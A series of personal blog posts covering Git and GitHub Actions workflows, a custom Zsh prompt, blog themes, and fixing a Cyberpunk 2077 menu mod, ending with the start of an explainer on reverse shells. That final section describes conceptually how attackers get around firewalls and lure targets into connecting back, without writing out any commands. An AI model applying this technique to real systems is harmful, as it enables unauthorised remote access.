Use .gitignore to exclude files you don’t want under version control. A Node.js project might ignore installed dependencies, build products and local configuration:

	node_modules/
	dist/
	.env
	.env.*
	!.env.example

Keep only variable names and dummy values in .env.example . Whether to track dist/ depends on distribution: some repositories intentionally version their built output.

Adding an already tracked file to .gitignore won’t untrack it. To remove it from the index and keep the local copy:

git rm --cached .env

Old commits still contain it. Revoke or rotate a secret that was committed.

# Create a branch for the change

Check for unfinished local changes first, then create the working branch from an up-to-date main branch. The example assumes a main branch named main and a remote named origin :

	git status
	git switch main
	git pull --ff-only origin main
	git switch -c fix/category-wrap

--ff-only stops if local and remote histories have diverged. That gives you a chance to inspect both sides. Use a name that describes the change, such as fix/category-wrap or feat/search . Keep a release script edit separate from a category layout fix so each can be reviewed, reverted and located in history independently. Short-lived branches suit many small projects; version branches become useful when maintaining multiple release lines.

# Bring in changes from main

Commit your work in progress or stash it. Once the working tree and index are clean, fetch:

git fetch origin

Choose one of these approaches according to the project’s conventions:

	# 在当前工作分支中合入主分支
	git merge origin/main

	# 或者，把当前工作分支的提交重放到新的主分支之后
	git rebase origin/main

A merge preserves the existing commits and can join diverged histories with a merge commit. A rebase replays changes on a new base and gives the replayed commits new IDs.

Situation	Approach	Reason
Others share the branch or work on top of it	Prefer a merge	Their existing commit IDs remain valid.
The work is entirely local	A rebase is reasonable	Nobody else depends on the old IDs.
The branch was pushed but only you use it	Follow the repository convention	Updating the remote after a rebase usually requires a force push. Check who depends on it first.
The target requires linear history	Use a compatible rebase, squash or fast-forward	A merge commit would violate the rule; a fast-forward creates none.

Coordinate before rewriting shared history. Don’t rewrite a public main branch simply to sync your work. Choosing a PR merge method below concerns a later step.

Resolve conflicts in the files, then mark them resolved with git add . Complete the merge commit or run git rebase --continue as appropriate. To abandon the operation, use git merge --abort or git rebase --abort . Restore stashed changes with git stash pop ; restoring can itself cause conflicts. Run the relevant checks even after a clean textual merge.

# Organise changes into commits

Inspect the changes before committing:

	git status
	git diff
	git add -p
	git diff --cached

git diff shows unstaged changes and git diff --cached shows what the next commit will contain. Stage selected hunks with git add -p ; add new files separately after checking status.

Implementation, tests and documentation can belong in one commit when they accomplish one thing. Splitting mechanically by file makes less sense than separating unrelated formatting, debugging files and behaviour changes. Mixing those together makes reverting the functional change much harder.

For a public project, English commit messages can help contributors who speak other languages. Follow existing language conventions. Git itself doesn’t require English. Describe the effect of the change, with context where needed:

	Fix wrapping of long category titles on mobile

	Allow titles to wrap within the text column instead of moving
	below the date.

Once you’ve checked the staged changes, run git commit and enter the message in your editor. A subject like the one above tells you what changed when you browse the history. An entry like update or fix bug leaves you guessing. The Git project’s contribution guidelines also ask contributors to group changes logically and explain why they made them.

Prefixes such as feat: and fix: are a team convention and can help generate release notes. Use them if they suit the project. What matters is that the messages are clear and consistent within the repository.

If you’ve just committed and discover a related change you left out, stage it and run the following while the commit is still unshared:

git commit --amend

Amending changes the commit ID. If others already depend on it, adding a follow-up commit is usually easier than rewriting history just to tidy up the message.

# Open and merge a pull request

Push the working branch and establish its upstream:

git push -u origin fix/category-wrap

Open a PR against the intended base. Explain the problem, the change and how you verified it. Here’s an example description:

	## 改动
	修复手机端分类长标题换行后挤开日期的问题。

	## 验证
	- 检查长标题和短标题的排列。
	- 检查桌面与窄屏下的分类跳转。

	Closes #42

Only list checks actually performed. Verify that Closes #42 points to the issue this change resolves. Use a draft PR to discuss an unfinished approach. Review existing behaviour and edge cases as well as the new code. Push follow-up fixes to the same branch; the PR updates automatically. The VS Code contribution guide asks contributors to keep PRs focused and avoid unrelated formatting, which makes changes easier to review.

# Choose a merge method

Syncing the working branch during development and deciding what history lands on main are distinct decisions. A branch rebased locally can still be squash-merged. A branch kept current with merge commits can also be squashed.

GitHub option	Result on the target	When it fits
Create a merge commit	Keeps the branch commits and adds a merge commit	The full branch relationship is worth retaining.
Squash and merge	Records the PR as one new commit	Many small fixes together form a single change.
Rebase and merge	Replays the commits individually, with new IDs and no merge commit	The separate commits already tell the intended story.

Follow the project’s convention.

# Clean up after the merge

After confirming the merge, remove the remote working branch if appropriate and update local main. A squash of commits A, B and C produces a new S on main. A merge commit keeps A, B and C and joins them with M.

git branch -d checks ancestry against the tracked upstream, or against the current branch if there’s no upstream. It doesn’t compare resulting content. A squash-merged branch can therefore report not fully merged . Confirm the PR landed and that the working branch has no later unmerged commits. Only then, if needed:

	git switch main
	git branch -D fix/category-wrap

Capital -D skips the ancestry check. Removing the local branch reference doesn’t undo the squash commit.

# Automating checks and releases with GitHub Actions

Running a PR’s build and tests automatically gives reviewers a result and a log for every update.

# CI/CD

Continuous integration means integrating code frequently and running automated builds and tests to catch problems early. For example, a project can build and run its tests on each PR. Continuous delivery also prepares a releasable package, with release potentially left to a person. Continuous deployment sends passing changes to production without that final approval.

These are workflows made up of concrete operations such as testing, building, uploading and deploying. GitHub Actions can orchestrate them, and can also perform unrelated repository tasks such as applying labels.

# Add a check workflow

Store workflows under .github/workflows/ . Events such as pushes, PR changes and manual dispatch trigger workflows. Each workflow contains one or more jobs. Each job runs on a runner, and its steps run commands or invoke actions in order. Use needs to express dependencies between jobs.

For this example the project uses Node.js 24, has a committed package-lock.json , and defines CI-compatible test and build scripts in package.json . Create .github/workflows/ci.yml :

	name: CI

	on:
	pull_request:
	branches: [main]
	push:
	branches: [main]
	workflow_dispatch:

	permissions:
	contents: read

	jobs:
	check:
	runs-on: ubuntu-latest
	steps:
	- uses: actions/checkout@v6
	- uses: actions/setup-node@v6
	with:
	node-version: '24'
	cache: npm
	- run: npm ci
	- run: npm test
	- run: npm run build

This workflow only checks the application. It runs on PR updates and checks main after a merge. For manual dispatch the workflow must already exist on the default branch. npm ci installs from the lockfile. If there’s no test script, substitute the project’s actual check command. When strict action pinning is required, use a verified full commit SHA.

In Actions, open a run and find the first failing step. Its context distinguishes dependency installation, test and build failures. This actual OneDrop CI run includes formatting, TypeScript compilation, tests and two build targets:

# Caches, artifacts and releases

cache: npm reuses npm’s package cache, not node_modules ; the workflow still runs npm ci . Artifacts preserve results such as installers or test reports for later jobs or downloads.

A separate release workflow might trigger from a tag, a published release or manual dispatch. Deployment environment protections can require approval where the repository and plan support them. The check example needs only contents: read . Grant additional permissions only to jobs that need them. Put tokens in Secrets. External fork PRs have restrictions on tokens and secrets: avoid executing untrusted PR code in a privileged pull_request_target context.

# Protect main

GitHub offers classic branch protections and rulesets. Multiple rulesets can apply alongside existing protections. The table uses the English labels from Rulesets. The classic branch protection page groups and names its options slightly differently.

Rule	Purpose
Require a pull request before merging	Route changes through a PR.
Require status checks to pass	Require named checks such as CI.
Required approvals	Set the approval count within the PR rule.
Block force pushes	Protect existing history.
Restrict deletions	Protect the branch from deletion.

Require linear history rules out merge commits on the target. Select compatible squash or rebase merges. See GitHub’s ruleset reference.

Run a workflow at least once before selecting its check name. Path filters or conditional jobs can otherwise leave a PR waiting for a check that never appears. For a solo project, avoid requiring approvals nobody can give; larger projects can add reviewers or code owners. Also check plan availability and who can bypass a rule.

# Contributing through a fork

With write access, push a working branch to the project. Otherwise fork the project on GitHub, clone your fork locally and propose changes upstream. Forking creates a hosting relationship; cloning downloads a repository.

After cloning your fork, origin generally points to it. Add a remote for the original project, commonly called upstream . These names are conventions. Replace OWNER and REPOSITORY with the original project’s owner and name. If upstream already exists, verify its URL instead of adding it again.

	git remote -v
	git remote add upstream https://github.com/OWNER/REPOSITORY.git

Here main follows upstream and personal changes stay on working branches. Handle uncommitted work first, then sync:

	git fetch origin
	git fetch upstream
	git switch main
	git merge --ff-only origin/main
	git merge --ff-only upstream/main
	git push origin main
	git switch -c fix/category-wrap

Both fast-forward checks can stop on divergence between local main, your fork and the original repository. Inspect the unique commits and decide what to keep before merging or rebasing. A force push would rewrite history without answering that question.

Create a working branch, make the change, push to your fork’s origin and open the PR against the branch requested by the project.

Read the contribution guide for the target branch, tests and whether an issue discussion is expected first.

# Managing large files with Git LFS

Images, models and audio sources may need versioning alongside code. Git LFS stores small pointers in Git and keeps the contents in LFS storage. GitHub rejects ordinary Git files over 100 MiB. Consider LFS for required versioned binaries, ignore build caches and put downloadable release installers in Releases.

Once you’ve installed Git LFS, initialise it in the repository and add a tracking rule. Here’s an example for PSD files that ordinary Git hasn’t tracked yet:

	git lfs install
	git lfs track "*.psd"
	git add .gitattributes
	git add assets/example.psd
	git commit -m "Track PSD assets with Git LFS"
	git lfs ls-files

git lfs track writes the rule to .gitattributes . Commit that file so collaborators use the same rules. Check git lfs ls-files to confirm the files are managed by LFS. Collaborators need Git LFS too. If a checkout contains only pointer text, run git lfs pull .

Adding a tracking rule doesn’t shrink existing history. Migrating old binaries rewrites commits: back up, define the scope and coordinate with collaborators before doing so. Check the account’s storage and download allowances as well.

# Tagging a version

After confirming the exact release commit, create and push an annotated tag:

	git tag -a v1.0.0 -m "Release v1.0.0"
	git push origin v1.0.0

A GitHub Release builds on a tag with release notes and downloadable assets. Document visible changes, fixes and upgrade requirements. Attach built installers separately; an automatically generated source archive isn’t the compiled application.

# Undoing changes

Run git status and git diff first to see which changes you want to keep.

Situation	Command	Effect
Reselect staged changes	`git restore --staged path/to/file`	Keeps working-tree edits.
Discard unwanted unstaged changes to a tracked file	`git restore path/to/file`	Restores the index version and discards those edits.
Reorganise the most recent unshared commit	`git reset --soft HEAD~1`	Removes the commit from the branch tip while retaining staged changes.
Undo an ordinary commit on a shared branch	`git revert COMMIT`	Adds an inverse commit and preserves history.

The default mixed reset also resets the index but keeps working-tree changes. A hard reset overwrites affected working-tree changes too. Reverts can conflict; reverting a merge requires deciding which parent is the mainline. Fixes and reversions on public branches can go through the same branch, PR and check process.

Customising My Zsh Prompt

2026-02-18T08:19:45.000Z

Oh My Zsh manages Zsh configuration and comes with themes, plugins and some handy defaults. I originally picked Zsh and Oh My Zsh because I wanted a better-looking terminal. I tried a lot of the bundled themes. Most were too busy for my taste, and the simpler ones weren’t quite what I wanted either. Eventually I wrote my own.

Here’s the theme I use, how the prompt works and which plugins I’ve kept.

# My current prompt

The theme itself is six lines:

	PROMPT="%{$fg[cyan]%}%c%{$reset_color%}"
	PROMPT+=' $(git_prompt_info)%(?:%{$fg_bold[green]%}%1{%} :%{$fg_bold[red]%}%1{%} )'
	ZSH_THEME_GIT_PROMPT_PREFIX="%{$fg_bold[blue]%}git:(%{$fg[red]%}"
	ZSH_THEME_GIT_PROMPT_SUFFIX="%{$reset_color%} "
	ZSH_THEME_GIT_PROMPT_DIRTY="%{$fg[blue]%})"
	ZSH_THEME_GIT_PROMPT_CLEAN="%{$fg[blue]%})"

The first line shows the final directory component. The second adds the Git information and status symbol. The last four set the Git prefix, suffix, and indicators for clean and modified working trees. I deliberately gave DIRTY and CLEAN the same value. The base theme shows the branch without distinguishing local changes.

# Installing a custom theme

Oh My Zsh’s customisation conventions support themes under $ZSH_CUSTOM/themes . With the default installation, that’s ~/.oh-my-zsh/custom/themes . Keeping a separate .zsh-theme file makes it easy to find and edit later.

Create the directory, respecting a custom value of ZSH_CUSTOM if you have one:

mkdir -p "${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes"

Save the six lines as sycamore-simple.zsh-theme , then edit the existing ZSH_THEME setting in ~/.zshrc . Omit the filename extension:

Put it before source $ZSH/oh-my-zsh.sh so it’s in place at initialisation. Open a new terminal to check the result.

# Understanding the configuration

If you’d rather start with a few examples, skip to common variations and come back when you want to change a particular detail.

# What controls the prompt?

Oh My Zsh uses ZSH_THEME to find the file and supplies helpers such as git_prompt_info . Zsh variables and prompt expansion determine what gets drawn.

Variable	When it appears
`PROMPT` / `PS1`	Main prompt waiting for input. Both names refer to the same parameter.
`RPROMPT` / `RPS1`	Right-hand prompt while editing a command.
`PS2` / `PROMPT2`	Continuation prompt for unfinished input, such as a quote or loop.
`RPS2`	Right-hand continuation prompt.
`PS3`	Selection prompt in a select loop.
`PS4`	Prefix on execution trace lines.

Most themes concentrate on the first two. Here are examples for continuation, selection and debugging:

	PS2='%_> '
	PS3='请选择编号：'
	PS4='+%N:%i> '

In PS2, %_ names the unfinished shell construct; if you see this prompt after Return, the command needs more input. PS3 affects select menus. In PS4, %N and %i show the script or function name and line number. Use set -x to start tracing and set +x when finished.

# Prompt expansion reference

Zsh expands percent sequences when displaying the prompt. This is a selection from the prompt expansion manual.

Purpose	Sequences	Display
Directory	`%c`	Last component, with home abbreviation
Directory	`%~`	Full path with home or named-directory substitutions
Directory	`%/` , `%d`	Full path without home abbreviation
Identity	`%n` , `%m` , `%M`	Username, short hostname, full hostname
Terminal	`%l` , `%y`	Terminal name with different prefix handling
Status	`%?` , `%j` , `%L`	Exit status, job count, shell nesting level
Privilege	`%#`	Hash for a privileged shell, percent otherwise
History	`%h` , `%!`	History event number
Time	`%T` , `%*`	24-hour time without or with seconds
Date	`%D{%Y-%m-%d}`	Formatted date
Colour	`%F{cyan}` / `%f` , `%K{black}` / `%k`	Set/reset foreground and background
Style	`%B` / `%b` , `%U` / `%u` , `%S` / `%s`	Start/end bold, underline or standout
Literals	`%%` , `%)`	Percent sign or closing parenthesis

A number before a directory escape limits the component count: %2~ keeps the last two, useful if you want the project name without filling the line. The PS2 and PS4 examples above show how to use %_ , %N and %i . Related debugging escapes include %^ for unfinished constructs in reverse order, %x and %I for the defining file and line, and %e for evaluation depth.

For a two-line prompt put a literal newline in the string or concatenate $'\n' . In ordinary single quotes, backslash-n remains two characters.

Format	Meaning
`%t` , `%@`	12-hour time with am/pm
`%D` , `%w` , `%W`	Two-digit year-month-day, abbreviated weekday and day, or month/day/two-digit year
`%D{format}`	A strftime-style format, e.g. `%Y` , `%m` , `%d` , `%H:%M:%S`

The codes inside date braces have their own meanings. Zsh adds unpadded day ( %f ), 24-hour ( %K ) and 12-hour ( %L ) fields. Fractional seconds use %. ; %6. requests six digits, %9. or %N nine. Actual precision depends on the clock. Forms such as %-d suppress padding. Other extensions depend on the system.

%E clears from the cursor to the end of the line.
%{...%} encloses nonprinting sequences such as colour codes so they don’t count towards prompt width. Keep ordinary text outside this wrapper.
Inside such a sequence, %G accounts for one visible character cell and %2G for two.

The older %c and %. show the final directory component, and %C does the same without abbreviating home as ~ . The manual deprecates the older directory forms %c and %. in favour of %1~ , and %C in favour of %1/ . I kept %c above to show my actual theme.

A function can compute values first and leave formatting to the prompt using the psvar array. %v selects the first item, %2v the second; negative indices count from the end. With psvar=(demo) , %v displays demo.

# Conditional output

The second line of my theme uses %(?:success:failure) to change the final symbol between green and red according to the previous exit status. Add %? to display the numeric status itself.

The question mark selects the test. The two colons separate test, true branch and false branch. Both can instead be dots, as in %(?.success.failure) . In the general form %(test.true.false) , the comparison value $n$ can appear before or after the opening parenthesis; it defaults to zero.

Test	True when
`!`	The shell has privileges.
`#` , `g`	Effective user or group ID equals n.
`?`	Previous exit status equals n.
`_`	At least n shell constructs are open.
`/` , `C`	The absolute path has at least n components; root counts as zero.
`c` , `.` , `~`	The substituted path has at least n components.
`D` , `d` , `w`	Month, day of month or weekday equals n. Months are zero-based; Sunday is zero.
`T` , `t`	Hour or minute equals n.
`e` , `j` , `L`	Evaluation depth, jobs or shell level is at least n.
`S`	SECONDS is at least n; this is not the previous command’s duration.
`v` , `V`	psvar has at least n entries, or its nth entry is set and nonempty.
`l`	At least n characters have been printed on the line; a negative argument tests space left to the opposite edge.

For example, %(!.#.>) displays a hash for a privileged shell and a greater-than sign otherwise. Choose another delimiter if your branch text contains a dot. Use %) for a literal closing parenthesis in a branch. Conditionals can nest. Negative condition arguments use their absolute value except for the remaining-width form of l .

# Dynamic information

The Git branch changes while the shell stays open. I put $(git_prompt_info) inside the prompt so command substitution runs the helper each time the prompt is displayed. This requires:

setopt PROMPT_SUBST

Oh My Zsh already enables this option. For a standalone test you’ll need to enable it; the colour variables and Git helper still come from Oh My Zsh. Quoting controls when substitution happens:

	# 设置时保留函数调用，每次显示提示符时再执行
	PROMPT='$(git_prompt_info) '

	# 设置时立即执行函数，保存这一次返回的结果
	PROMPT="$(git_prompt_info) "

Single quotes keep the call for the next prompt expansion. Double quotes evaluate it when assigning the variable. I used single quotes for the Git helper and the battery and Python examples below.

# Common variations

Each example starts with my six-line theme and changes one thing so you can compare the results.

# Show the full path

Replace the first line of the theme with the following to show the full path:

PROMPT="%{$fg[cyan]%}%/%{$reset_color%}"

To show your home directory as ~ , replace %/ with %~ . Both keep the full directory hierarchy.

# Show the username

To show the username and hostname before the path, append this line to the theme:

PROMPT='%n@%m '"$PROMPT"

If you only want the username, replace %n@%m with %n .

# Put the time on the right

Append the time to the left prompt after loading the theme:

PROMPT+=' %F{yellow}%*%f '

Or keep the space between directory and input free by setting the right prompt:

RPROMPT='%F{244}%D{%H:%M:%S}%f'

Choose one. The battery and Python examples also assign RPROMPT; assigning it again replaces the previous value. The time is evaluated when the prompt is displayed. It isn’t a continuously ticking clock, and the right prompt gives up space as the command line grows.

# Show the battery level

Here’s the macOS example. Put the function and right prompt after the theme:

	sycamore_battery() {
	local value
	value=$(pmset -g batt 2>/dev/null \| sed -nE 's/.[[:space:]]([0-9]+)%;./\1/p' \| head -n 1)
	[[ -n $value ]] && print -rn -- "bat ${value}%%"
	return 0
	}
	RPROMPT='$(sycamore_battery)'

Without battery information it displays nothing. The %% in the function’s output becomes one percent sign during prompt expansion. The query runs on prompt refresh, without a background polling task.

# Show the Python project, environment and version

If you switch between Python projects and environments often, you can show the project marker, environment name and interpreter version in the prompt. Place this function and right prompt after the six theme lines:

	sycamore_python() {
	local env_name version text=''
	[[ -f pyproject.toml \|\| -f requirements.txt ]] && text='Python project'
	if [[ -n $VIRTUAL_ENV ]]; then
	env_name=${VIRTUAL_ENV:t}
	elif [[ -n $CONDA_DEFAULT_ENV ]]; then
	env_name=$CONDA_DEFAULT_ENV
	fi
	[[ -n $env_name ]] && text+=" env:${env_name}"
	if [[ -n $text ]] && (( $+commands[python3] )); then
	version=$(python3 --version 2>/dev/null)
	text+=" ${version}"
	fi
	print -rn -- "${text//\%/%%}"
	return 0
	}
	RPROMPT='$(sycamore_python)'

It checks the current directory for pyproject.toml or requirements.txt , reads the environment from VIRTUAL_ENV or CONDA_DEFAULT_ENV , and reports the version of python3 on PATH. It doesn’t search parent directories or read version-manager configuration. If prompt refreshes are frequent, cache the version after changing environments instead of launching an interpreter every time.

# Mark a dirty Git working tree

I gave clean and dirty trees the same suffix in the original. Change DIRTY to add an asterisk when the tree has changes:

ZSH_THEME_GIT_PROMPT_DIRTY="%{$fg[blue]%}) *"

Oh My Zsh handles status detection; its settings affect whether untracked files count. Run git status to see the actual changes.

# Plugins

These are the six plugins enabled in my setup:

plugins=(git zsh-autosuggestions zsh-syntax-highlighting z extract web-search)

Put this in .zshrc before Oh My Zsh initialises. The theme defines the prompt; plugins add commands and input behaviour. Install a plugin before adding its name.

# git

Adds shortcuts such as gst for git status and gco for git checkout . The theme’s git_prompt_info helper comes with Oh My Zsh independently of this plugin.

# zsh-autosuggestions

Shows suggestions after the cursor, using command history by default. After running python test.py , typing the beginning can suggest the rest.

The upper line has suggestions turned off. In the lower line, grey text is the suggested part awaiting acceptance.

# zsh-syntax-highlighting

Colours the input so commands, arguments, quoted strings and some invalid input are easier to distinguish. The input highlighting is separate from the directory colour in the prompt.

# z

Jumps to previously visited directories. Once you’ve visited a project folder, z followed by part of its name can find it.

# extract

extract filename chooses the decompression tool for the archive type. I like having one command for the lot.

# web-search

Commands such as google zsh prompt open a query in the browser, handy when looking something up from the command line.

# Fonts and rendering

My default iTerm profile uses JetBrainsMonoNFM-Regular at 12 points. Select a font with the appropriate glyphs in your own terminal. If the  icon appears as a box, switch fonts or simply replace it with > in the theme.

Width matters too. My theme declares %1{%} as one cell. If the terminal draws it two cells wide, the cursor can end up in the wrong place.

Blog Themes I’ve Tried

2025-10-12T04:54:13.000Z

A few thoughts on blog themes I’ve used, or at least installed. I’ve also included two at the end that caught my eye while reading the documentation.

# What I like

I have a weakness for all the bells and whistles: falling cherry blossoms, a little Live2D character in the corner, effects when you click the mouse, a big beautiful cover image…

I’ve browsed and installed plenty of clean, elegant themes. They look good at first. Two days later I usually find myself changing themes again.

Maybe they just feel a little too blank for me.

# WordPress

WordPress has enough themes and plugins that whenever I felt like tinkering, there was always something else to install. I did run into a sluggish dashboard and slow-loading pages, though.

These are impressions from my own setup at the time. A slow site isn’t necessarily the theme’s fault. I quite liked Argon, for instance.

# Sakura

Sakura, maintained by mashirozx, is right up my street, down to the little details.

I followed quite a few tutorials to get different effects working. My Live2D character never made it past the default model; designing and rigging one myself turned out to be a tall order.

The site I built with it really did load slowly. Eventually I couldn’t put up with it and switched away. For a while I kept it around purely because it was pretty.

I also wanted an About page built around a BotUI chatbot. I remember spending ages on that, trying one suggestion after another from Google. The JavaScript seemed to do absolutely nothing. Maybe it never loaded in the first place…

For all the tinkering, I still like how Sakura looks. To find the settings now I’d start with the repository guide. The theme has its own settings screen, so plenty of changes are possible without touching the source files. For further styling, the author recommends a child theme.

# Sakurairo

The screenshot is from networkos.club, a site in the official showcase. It’s someone else’s setup, rather than my old site or the default appearance.

Sakurairo is a reworking of Sakura V3. Its manual groups settings by scope, including global options, the home page and individual pages. Having so much in the dashboard would have saved me some of the hunting through tutorials I did with Sakura.

What you can change depends on the version and configuration. Unfortunately I still had the same slow loading when I used it.

# Ashe

The Ashe theme page describes support for personal and multi-author blogs, a large header image, a full-screen slider and a mobile layout. Compared with the first two themes, the photos and posts take centre stage.

If what you want is one lovely big image and a clear list of posts underneath, this one is worth a look.

# Argon

Argon is one I came away liking. You can change the theme colour, choose a one-, two- or three-column layout, and switch to night mode.

The theme documentation is a good place to see what you’d like to configure.

# Hexo

# ShokaX

ShokaX is derived from Shoka. It’s the theme this blog uses.

I’ve changed the styling, so the current site only tells you so much about the default look. I’ve written up the details in my customisation notes and upgrade notes.

# Two more that caught my eye

These two are based on the official material. I haven’t used them in the same way as the ones above.

# Typecho: Joe

Joe has a two-column layout, configurable colours and syntax highlighting. It looks worth considering for a technical blog on Typecho if you like a little more going on around the posts.

# Hexo: Butterfly

Butterfly has a distinct card layout and two columns, with night mode, background effects and mouse-click effects. You can probably see why it appealed to me.

The official demo and docs are a good way to pick out the effects you want.

Repairing the Ciri Main Menu Background Mod

2025-08-20T14:42:31.000Z

I wanted Ciri in Night City – Main Menu Background Replacer to work on Cyberpunk 2077 version 2.0 and later, including the Phantom Liberty logo.

Update 1.1.0: In my 1.0.0 fix, the animations that play when loading a save disappeared. I’ve restored the sequence, although its final shot now uses the replacement main menu background.

The missing logo and missing loading sequence have different causes. The logo disappeared because the mod shipped older textures. The sequence disappeared because of how broadly the original mod replaced the background assets.

If you’re here for the loading animations, skip to the final section. That’s where I rebuild the mod from scratch.

Here’s the original mod at startup. The Phantom Liberty logo is missing:

# Fixing the logo

I used WolvenKit.

# Restore the Phantom Liberty logo

Open Mod Browser and locate the installed mod.

Right-click the base folder and choose Add selected items to project. In Project Explorer, find and delete menu_background.xbm and menu_background_1080p.xbm . These are the two files causing the problem.

# Pack the project

Choose Build → Pack Project. WolvenKit writes a ZIP archive in the project folder. Remove the original mod and install the newly packed version in Cyberpunk 2077. The expansion logo is back:

# How the original mod works

Some background: Reading Cyberpunk 2077’s UI assets.

I took the long way round to figure this out. Here’s what I found along the way.

# Locating the background

The mod changes quite a few files. I started by looking for the actual image it replaced.

The main menu image changes as you progress through the story. I traced the images to base\gameplay\gui\world\loading_screens\ .

Directory names such as loading_screen_5_after_q101 and loading_screen_10_after_q112 seem to correspond to story milestones. For instance, here’s loading_screen_10_after_q112\loading_screen_10_shot_01.xbm :

I recognised that as the background that appears after sneaking in to install the virus on the float. Here’s another example, loading_screen_5_after_q101\loading_screen_5_shot_01.xbm :

It matches the menu in my current save:

# A closer look at the inkwidget

The corresponding .inkwidget seemed the likely place to change the background. The old mod still replaced it successfully, despite the missing logo, so I could use it for comparison.

I focused on loading_screen_5_after_q101.inkwidget because I could compare it with the menu I was actually seeing. The game file is on the left, the modded file on the right:

On the right, the important file is cp_bg_alpha_faded.bk2 , the replacement Ciri animation. On the left, my background used the first shot, so I set the second and third shots aside.

smoke_loop.bk2 is a looping video of smoke.

shot_01_assets.inkatlas picks out the three light columns ( ad ) and the blinking lights ( antenna_lights ) from the texture.

Here’s the underlying texture, short_01_assets.xbm . You can see the light effects together before the atlas separates them:

loading_screen_5_shot_01.inkatlas supplies the main background. Its four bounds run from 0 to 1, so the selected region covers the entire texture.

On the annotated menu, ① is the smoke loop and ② comes from the shot assets atlas:

For the still image in this particular scene, replacing loading_screen_5_shot_01.xbm would do it.

Replacing that one texture wouldn’t cover the other stages of the story. Looking more closely, I found that the modded loading_screen_5_after_q101.inkwidget had the same contents as the game’s base\gameplay\gui\world\loading_screens\initial_loading_screen\initial_loading_screen.inkwidget .

The cp_bg_alpha_faded.bk2 animation referenced by that initial widget had already been replaced with Ciri. Copying the widget into the q101 folder therefore gave that menu the Ciri background as well. The original mod did the same in every corresponding folder. If the game keeps switching backgrounds, why not replace the lot?

# Where the logo fix actually belongs

None of that detective work directly fixed the logo. I couldn’t find a logo in the original q101 widget; what I’d traced was the background replacement. But once I’d accounted for those files, the rest of the mod was much easier to inspect.

Two files stood out under base\gameplay\gui\fullscreen\main_menu\ : menu_background.xbm and menu_background_1080p.xbm . Here’s the modded texture on the left and the game’s on the right:

The game already has the right logo. The mod’s older textures override it. Removing both textures from the mod lets the game use its own copies.

# Update: restoring the loading animations

After fixing the logo, I loaded a save from the main menu. Usually there’s a short sequence that changes with the story. This time the entire load was black.

The sequence has three shots. Here are examples, in playback order:

# Why the sequence went missing

The mod replaced each story-specific widget with initial_loading_screen.inkwidget . Those original widgets also define the loading shots, as described in the inkwidget notes.

In the comparison below, the story widget has ls_01 , ls_02 and ls_03 . The initial widget only has main_menu and loading_screen .

The first remaining entry, main_menu , refers to the replacement Ciri video, cp_bg_alpha_faded.bk2 . The second refers to a different animation shown on entering the menu. The game can no longer find any of the three shots when loading a save.

I started a fresh project. In Asset Browser I found the original mod’s Ciri background video, listed here as cp_bg_alpha_faded.bk2 , and added it to the project. Then I located the game’s loading_screen_5_after_q101.inkwidget and initial_loading_screen.inkwidget . I added the former to the project for editing and used Open without adding to project for the latter.

Copy the cp_bg_alpha_faded.bk2 resource from the initial widget into the q101 widget’s externalDependenciesForInternalItems :

In ls_01 → children , delete items 1–6, the layers making up the original menu background. Keep item 0, fade_to_black . It seems to handle the transition; without it the menu background animation stutters.

From main_menu → children in the initial widget, copy cp_bg_alpha . It points to the video that the mod has replaced with Ciri.

Paste it where you removed the other children in the q101 widget:

Repeat for the widgets in the other story folders under loading_screens to cover the remaining backgrounds.

One limitation remains. The main menu background and the third loading shot both use ls_01 . The first shot uses ls_02 and the second uses ls_03 . Changing ls_01 gives me the menu I wanted, but now Ciri also appears in that final shot. I haven’t found a way around that yet.

Reading Cyberpunk 2077’s UI Assets

2025-08-13T14:56:23.000Z

These are my working notes on files I came across in Cyberpunk 2077’s archives while making a mod. I hadn’t worked on 3D animation or game production before, so some of the terminology here is my own best guess.

# File types and what they do

# xbm

An .xbm stores image data used as a texture in the game. WolvenKit can preview it. Here’s expansion_logo.xbm :

# inkatlas

An .inkatlas seems to describe how to use separate regions of an .xbm image. Here’s expansion_logo.inkatlas , the atlas that goes with expansion_logo.xbm :

I expanded entry 3, logo , and compared it with entry 4, logo_EN :

Bottom, Left, Right and Top look like the boundaries of a region in the texture, expressed as values between 0 and 1. Here’s how I worked out which images they might describe:

The Bottom value for entry 3 is close to the Top value for entry 4, suggesting the two images sit one above the other.
Those vertical coordinates are close to 1, which places them near the bottom of the texture.
Both Left values are the same and close to 0, placing them at the far left.

My reading is that these entries correspond to the two English PHANTOM LIBERTY logos in the bottom-left corner.

# inkwidget

This file seems to describe the resources that make up an animation. Take loading_screen_5_after_q101.inkwidget : I think it corresponds to one of the little sequences that plays when you load a game from the main menu. These usually consist of three animations.

In the screenshot, externalDependenciesForInternalItems lists resources needed by the internal items. The entries under libraryItems describe the animations themselves. Here ls_01 , ls_02 and ls_03 correspond to the three loading animations.

I opened ls_01 for a closer look. Most of what interested me was under children . There are seven entries, and their names give some clues:

For example, shot_01_bg appears to be the background for this shot, and antena_light_1 a blinking signal light. Expanding an item reveals the resource it refers to.

In ls_02 , expanding BINK_RTW reveals a video resource:

To see what it plays, I selected Add to Project on the video resource and opened it with RAD Video Tools:

You might remember Ziggy Q and the NCPD spokesperson.

# What I found in the directories

# `base\gameplay\gui\world\loading_screens\`

The main menu background changes as you progress through the story. Several images also play in sequence when loading a save.

For example, here’s loading_screen_5_after_q101\loading_screen_5_shot_01.xbm :

The same image shows up on the main menu:

That led me to the corresponding .inkwidget as the place to change the main menu background.

Follow-up: repairing the Ciri main menu background mod

How Reverse Shells Work

2025-06-15T13:48:27.000Z

# What is a reverse shell?

In a direct connection, the initiating machine connects to a port on the remote host. Web servers, SSH and remote desktop are familiar examples.

Sometimes it is impossible to reach the remote machine directly. A connection initiated in the other direction behaves differently.

In a reverse connection, the remote host initiates the connection to a listener. In the shell examples, command input and output then travel over that connection.

# When connection direction matters

The notes consider the following network conditions:

A firewall may allow outgoing requests while blocking incoming connections.
- The target can still open an outbound connection to the listening port on the attacking machine, giving the attacker a shell.
A local port on the remote host may already be occupied.
- The attacker can choose an available listening port on their own machine.
The attacker may not know when the target will encounter a virus or Trojan, what network it will be on, or when it will be powered on.
- In that scenario, the attacker leaves a listener running and tricks the target into executing a program that connects back with a shell.
The machine may be on a private network or its IP address may change.
- A directly reachable address may not be available.

# Implementations

Which reverse-shell method works depends on what’s available on the remote host.
For example:

If netcat, Socat or Telnet is installed, you can use that tool for the connection.
If Bash is available, it can make the connection itself.
A Python or PHP interpreter can also run a script that does the same thing.

# Netcat

Netcat (nc) is a small Unix utility for making TCP and UDP connections.

